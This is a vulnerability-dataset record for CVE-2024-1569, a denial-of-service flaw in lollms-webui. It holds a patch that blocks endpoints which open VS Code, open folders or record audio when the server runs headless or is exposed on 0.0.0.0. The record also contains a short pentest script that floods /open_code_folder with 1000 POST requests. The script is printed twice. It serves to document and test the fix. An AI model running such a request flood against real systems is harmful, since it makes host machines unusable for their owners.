CVE-2024-1569: Uncontrolled Resource Consumption (CWE-400)
value: parisneo/lollms-webui is vulnerable to a denial of service (DoS) attack due to uncontrolled resource consumption. Attackers can exploit the `/open_code_in_vs_code` and similar endpoints without authentication by sending repeated HTTP POST requests, leading to the opening of Visual Studio Code or the default folder opener (e.g., File Explorer, xdg-open) multiple times. This can render the host machine unusable by exhausting system resources. The vulnerability is present in the latest version of the software.
CWE description: The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
Published: 2024-04-16T00:15Z
Repository: https://github.com/parisneo/lollms-webui
Language: Python
Files changed: endpoints/lollms_advanced.py, tests/pentests/service_denial/test_service_denial.py
Commit date: 2024-02-15 21:47:24 +0100
Commit message: fixed service denial exploit

Diff: diff --git a/endpoints/lollms_advanced.py b/endpoints/lollms_advanced.py
index d5bd62ff..a7376eed 100644
--- a/endpoints/lollms_advanced.py
+++ b/endpoints/lollms_advanced.py
@@ -153,10 +153,15 @@ async def open_code_folder_in_vs_code(request: OpenCodeFolderInVsCodeRequestMode
     Opens code folder.
 
     :param request: The HTTP request object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open code folder in vscode is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open code folder in vscode is blocked when the server is exposed outside for very obvious reasons!"}
 
     try:
         if request.discussion_id:        
             ASCIIColors.info("Opening folder:")
             root_folder = lollmsElfServer.lollms_paths.personal_outputs_path/"discussions"/f"d_{request.discussion_id}"
@@ -190,10 +195,15 @@ async def open_file(file_path: FilePath):
     Opens code in vs code.
 
     :param file_path: The file path object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open file is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open file is blocked when the server is exposed outside for very obvious reasons!"}
 
     try:
         # Validate the 'path' parameter
         path = file_path.path
         if not validate_file_path(path):
@@ -223,10 +233,15 @@ async def open_code_in_vs_code(vs_code_data: VSCodeData):
     Opens code in vs code.
 
     :param vs_code_data: The data object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open code in vs code is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open code in vs code is blocked when the server is exposed outside for very obvious reasons!"}
 
     try:
         discussion_id = vs_code_data.discussion_id
         message_id = vs_code_data.message_id
         code = vs_code_data.code
@@ -258,10 +273,15 @@ async def open_code_folder(request: FolderRequest):
     Opens code folder.
 
     :param request: The HTTP request object.
     :return: A JSON response with the status of the operation.
     """
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Open code folder is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Open code folder is blocked when the server is exposed outside for very obvious reasons!"}
     
     try:
         if request.discussion_id:
             discussion_id = request.discussion_id
 
@@ -301,10 +321,16 @@ async def open_code_folder(request: FolderRequest):
         lollmsElfServer.error(ex)
         return {"status": False, "error": "An error occurred while processing the request"}
 
 @router.get("/start_recording")
 def start_recording():
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Start recording is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Start recording is blocked when the server is exposed outside for very obvious reasons!"}
+
     lollmsElfServer.info("Starting audio capture")
     try:
         from lollms.media import AudioRecorder
         lollmsElfServer.rec_output_folder = lollmsElfServer.lollms_paths.personal_outputs_path/"audio_rec"
         lollmsElfServer.rec_output_folder.mkdir(exist_ok=True, parents=True)
@@ -315,9 +341,15 @@ def start_recording():
         lollmsElfServer.InfoMessage("Couldn't load media library.\nYou will not be able to perform any of the media linked operations. please verify the logs and install any required installations")
 
 
 @router.get("/stop_recording")
 def stop_recording():
+    if lollmsElfServer.config.headless_server_mode:
+        return {"status":False,"error":"Stop recording is blocked when in headless mode for obvious security reasons!"}
+
+    if lollmsElfServer.config.host=="0.0.0.0":
+        return {"status":False,"error":"Stop recording is blocked when the server is exposed outside for very obvious reasons!"}
+
     lollmsElfServer.info("Stopping audio capture")
     text = lollmsElfServer.audio_cap.stop_recording()
     return text
 
diff --git a/tests/pentests/service_denial/test_service_denial.py b/tests/pentests/service_denial/test_service_denial.py
new file mode 100644
index 00000000..b5e807df
--- /dev/null
+++ b/tests/pentests/service_denial/test_service_denial.py
@@ -0,0 +1,18 @@
+'''
+This python script is performing a Denial of Service (DoS) attack on your endpoint.
+It is creating a large number of requests (1000 in this case) to the '/open_code_folder' API endpoint of your server.
+This could potentially overload your server, making it unable to serve normal, legitimate requests.
+
+Please make sure you test this only on a virtual machine since it can overload your own PC and crush it
+'''
+import requests
+
+IP_ADDRESS = "localhost"
+PORT = 9600
+
+for i in range(1000):
+    data = {
+        "discussion_id":f"{i}",
+    }
+    response = requests.post(f"http://{IP_ADDRESS}:{str(PORT)}/open_code_folder", json=data)
+    print(i, response.json())
\ No newline at end of file

Fixed code:     if lollmsElfServer.config.headless_server_mode:
        return {"status":False,"error":"Open code folder in vscode is blocked when in headless mode for obvious security reasons!"}

    if lollmsElfServer.config.host=="0.0.0.0":
        return {"status":False,"error":"Open code folder in vscode is blocked when the server is exposed outside for very obvious reasons!"}
    if lollmsElfServer.config.headless_server_mode:
        return {"status":False,"error":"Open file is blocked when in headless mode for obvious security reasons!"}

    if lollmsElfServer.config.host=="0.0.0.0":
        return {"status":False,"error":"Open file is blocked when the server is exposed outside for very obvious reasons!"}
    if lollmsElfServer.config.headless_server_mode:
        return {"status":False,"error":"Open code in vs code is blocked when in headless mode for obvious security reasons!"}

    if lollmsElfServer.config.host=="0.0.0.0":
        return {"status":False,"error":"Open code in vs code is blocked when the server is exposed outside for very obvious reasons!"}
    if lollmsElfServer.config.headless_server_mode:
        return {"status":False,"error":"Open code folder is blocked when in headless mode for obvious security reasons!"}

    if lollmsElfServer.config.host=="0.0.0.0":
        return {"status":False,"error":"Open code folder is blocked when the server is exposed outside for very obvious reasons!"}
    if lollmsElfServer.config.headless_server_mode:
        return {"status":False,"error":"Start recording is blocked when in headless mode for obvious security reasons!"}

    if lollmsElfServer.config.host=="0.0.0.0":
        return {"status":False,"error":"Start recording is blocked when the server is exposed outside for very obvious reasons!"}

    if lollmsElfServer.config.headless_server_mode:
        return {"status":False,"error":"Stop recording is blocked when in headless mode for obvious security reasons!"}

    if lollmsElfServer.config.host=="0.0.0.0":
        return {"status":False,"error":"Stop recording is blocked when the server is exposed outside for very obvious reasons!"}

'''
This python script is performing a Denial of Service (DoS) attack on your endpoint.
It is creating a large number of requests (1000 in this case) to the '/open_code_folder' API endpoint of your server.
This could potentially overload your server, making it unable to serve normal, legitimate requests.

Please make sure you test this only on a virtual machine since it can overload your own PC and crush it
'''
import requests

IP_ADDRESS = "localhost"
PORT = 9600

for i in range(1000):
    data = {
        "discussion_id":f"{i}",
    }
    response = requests.post(f"http://{IP_ADDRESS}:{str(PORT)}/open_code_folder", json=data)
    print(i, response.json())